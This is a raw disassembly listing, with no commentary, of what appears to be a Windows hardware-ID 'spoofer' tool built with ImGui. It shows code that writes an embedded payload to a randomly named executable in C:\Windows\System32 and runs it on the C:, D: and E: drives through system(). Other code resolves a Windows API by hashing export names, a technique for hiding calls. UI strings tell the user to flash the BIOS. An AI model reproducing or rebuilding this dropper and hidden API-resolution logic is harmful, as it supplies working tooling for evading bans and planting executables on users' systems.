mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x2a0]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401777c8]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2a0], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [rbp + 0x2a8], xmm0
movss dword [rbp + 0x2ac], xmm1
call fcn.140005cf0
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x140177818]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1c0], xmm0
movss dword [rbp + 0x1c4], xmm1
test eax, 0xff000000
je 0x14005e41d
comiss xmm12, xmm2
ja 0x14005e41d
movss xmm0, dword [0x14017784c]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1c0]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025c30
movss xmm0, dword [0x140177834]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024270
mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x2b0]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2b4], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2b0], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2bc], xmm1
movss dword [rbp + 0x2b8], xmm0
call fcn.140005cf0
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x14017782c]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1c8], xmm0
movss dword [rbp + 0x1cc], xmm1
test eax, 0xff000000
je 0x14005e551
comiss xmm12, xmm2
ja 0x14005e551
movss xmm0, dword [0x14017784c]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1c8]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025c30
movss xmm0, dword [0x140177834]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024270
mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0xb8]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0xbc], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0xb8], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xc0], xmm0
call fcn.140005cf0
mulss xmm6, dword [0x140177834]
mov edi, eax
mulss xmm7, xmm12
mulss xmm8, xmm12
addss xmm7, xmm9
addss xmm8, xmm10
movss dword [rbp + 0x1d0], xmm7
movss dword [rbp + 0x1d4], xmm8
test eax, 0xff000000
je 0x14005e662
comiss xmm12, xmm6
ja 0x14005e662
movss xmm0, dword [0x14017784c]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1d0]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025c30
movss xmm0, dword [0x140177834]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024270
mov r8, qword [0x140399fa0]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x70]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x74], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x70], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x7c], xmm1
movss dword [rbp + 0x78], xmm0
call fcn.140005cf0
movss xmm8, dword [0x140177908]
lea rdx, [rbp + 0x118]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.Data_replacement_completed_successfully.
xor r14d, r14d
movaps xmm3, xmm8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x118]
movss xmm7, dword [0x1401777f4]
movss xmm2, dword [0x140398ce4]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0x11c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
subss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x118], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x1dc], xmm2
subss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x1d8], xmm0
test esi, 0xff000000
je 0x14005e810
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005e7bf
mov r8d, 0x678
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x140175c50]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x1d8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Data_replacement_completed_successfully.
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002d040
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x10]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x14], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401777b8]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x10], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm1
call fcn.140005cf0
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x38]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm8
mov qword [rsp + 0x30], r14
mov esi, eax
lea r14, str.Restart_your_PC__and_flash_your_Bios_
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002ce20
movss xmm0, dword [rbp + 0x38]
movss xmm2, dword [0x140398ce4]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0x3c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
addss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x38], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x1e4], xmm2
addss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x1e0], xmm0
test esi, 0xff000000
je 0x14005e9a6
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005e95c
mov r8d, 0x678
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140175c7d]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002d040
movss xmm0, dword [0x14039a9f4]
xor esi, esi
comiss xmm0, dword [0x1401778c8]
movss xmm9, dword [0x140177834]
movss xmm10, dword [0x14017783c]
jbe 0x14005d9a7
mov dword [0x14039a9f4], esi
jmp 0x14005d9a7
mov rbx, qword [0x140399fa0]
test rbx, rbx
je 0x14005e9f4
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14005ea18
jmp 0x14005e9f7
mov rdi, rsi
mov r8d, 0x130
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
test rbx, rbx
jne 0x14005ea3e
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
call fcn.14003eec0
mov rcx, qword [rdi]
test rcx, rcx
je 0x14005ea51
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x140399fa0]
mov qword [rbx + 0x88], rsi
mov qword [rbx + 0x98], rsi
test r8, r8
je 0x14005ead2
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14005eac7
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x140399fa0]
test r8, r8
je 0x14005eaf5
mov rdi, qword [r8 + 0x90]
test rdi, rdi
jne 0x14005eb19
jmp 0x14005eaf8
mov rdi, rsi
mov r8d, 0xca
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140399fa0]
test r8, r8
jne 0x14005eb3f
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140399fa0]
mov rcx, qword [rdi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x14005eb59
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x140399fa0]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x78], rsi
mov qword [rbx + 0x88], rsi
test r8, r8
je 0x14005ebd0
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x14005ebc5
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140399fa0]
mov qword [0x140399fa0], rbx
call fcn.1400082a0
mov qword [0x140399fa0], rsi
test rbx, rbx
je 0x14005ec7d
mov rcx, rbx
call fcn.140022310
mov r8, qword [0x140399fa0]
test r8, r8
je 0x14005ec74
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14005ec69
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14039a998]
test rcx, rcx
je 0x14005ec96
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a998], rsi
mov rcx, qword [0x14039a990]
test rcx, rcx
je 0x14005ecaf
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a990], rsi
mov rcx, qword [0x14039a000]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14005fc86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, Ordinal_50
mov qword [rbp - 0x78], rsi
call fcn.140134038
movups xmm0, xmmword [str.C:WindowsSystem32_vdfjdisfudasu.exe]
mov qword [rbp - 0x80], rax
lea rdx, [0x1402271a0]
mov qword [rbp - 0x70], Ordinal_41
mov r9, rax
mov qword [rbp - 0x68], Ordinal_50
mov r8d, 0x390a8
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140173290]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1401732a0]
mov dword [rax + 0x20], ecx
lea rcx, [rbp - 0x80]
movzx eax, byte [0x1401732a4]
mov byte [r9 + 0x24], al
mov byte [r9 + 0x25], 0
call fcn.1400476b0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005ed85
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed80
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ed80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14005ee15
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14005ee15
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005ee10
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005edf0
cmp edx, 0x2fa62ca8
je 0x14005ee1a
test r9d, r9d
jne 0x14005edd0
mov rax, qword [rax]
jmp 0x14005eda0
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xb8]
call fcn.140047540
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140047540
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005eefa
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005ee81
mov rsi, qword [rax]
lea rax, [0x1401732d2]
mov ebx, Ordinal_46
cmp rax, rsi
jbe 0x14005eeb6
lea rax, [rsi + r8]
cmp r14, rax
ja 0x14005eeb6
cmp rsi, r14
ja 0x14005eea7
xor eax, eax
mov r14d, eax
jmp 0x14005eeb9
mov r14, rsi
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
sub r14, rax
jmp 0x14005eeb9
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rbx
add rdx, rbx
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005ef19
mov ebx, Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov rcx, rax
mov qword [rsp + 0x20], r14
call fcn.140066490
mov rdi, rax
mov qword [rbp], rsi
lea rdx, [0x140170b0c]
mov qword [rbp + 8], rsi
lea rcx, [rbp - 0x10]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063190
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.1400659d0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005efdd
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005efd8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0f5
call fcn.1401342b4
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f02b
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f026
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0f5
call fcn.1401342b4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14005f066
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f061
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0f5
call fcn.1401342b4
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
cmp rdx, 0xf
jbe 0x14005f0ad
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0a8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0f5
call fcn.1401342b4
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f101
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0fc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f0fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
lea rcx, [rbp + 0xb8]
call fcn.140047540
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140047540
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005f1bd
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005f148
mov rsi, qword [rax]
lea rax, [0x140173302]
cmp rax, rsi
jbe 0x14005f178
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp rcx, rax
ja 0x14005f178
cmp rsi, rcx
ja 0x14005f170
xor eax, eax
mov r14d, eax
jmp 0x14005f17b
mov r14, rsi
sub r14, rcx
jmp 0x14005f17b
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rbx
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005f1df
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.140066490
mov rdi, rax
mov qword [rbp], rsi
lea rdx, [0x140170b0c]
mov qword [rbp + 8], rsi
lea rcx, [rbp - 0x10]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063190
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.1400659d0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005f2a3
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f29e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f3bb
call fcn.1401342b4
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f2f1
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f2ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f3bb
call fcn.1401342b4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14005f32c
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f327
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f3bb
call fcn.1401342b4
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
cmp rdx, 0xf
jbe 0x14005f373
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f36e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f3bb
call fcn.1401342b4
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f3c7
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f3c2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f3c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
lea rcx, [rbp + 0xb8]
call fcn.140047540
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140047540
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005f483
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005f40e
mov rsi, qword [rax]
lea rax, [0x140173332]
cmp rax, rsi
jbe 0x14005f43e
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x14005f43e
cmp rsi, rcx
ja 0x14005f436
xor eax, eax
mov r14d, eax
jmp 0x14005f441
mov r14, rsi
sub r14, rcx
jmp 0x14005f441
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
sub rbx, r14
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005f4a5
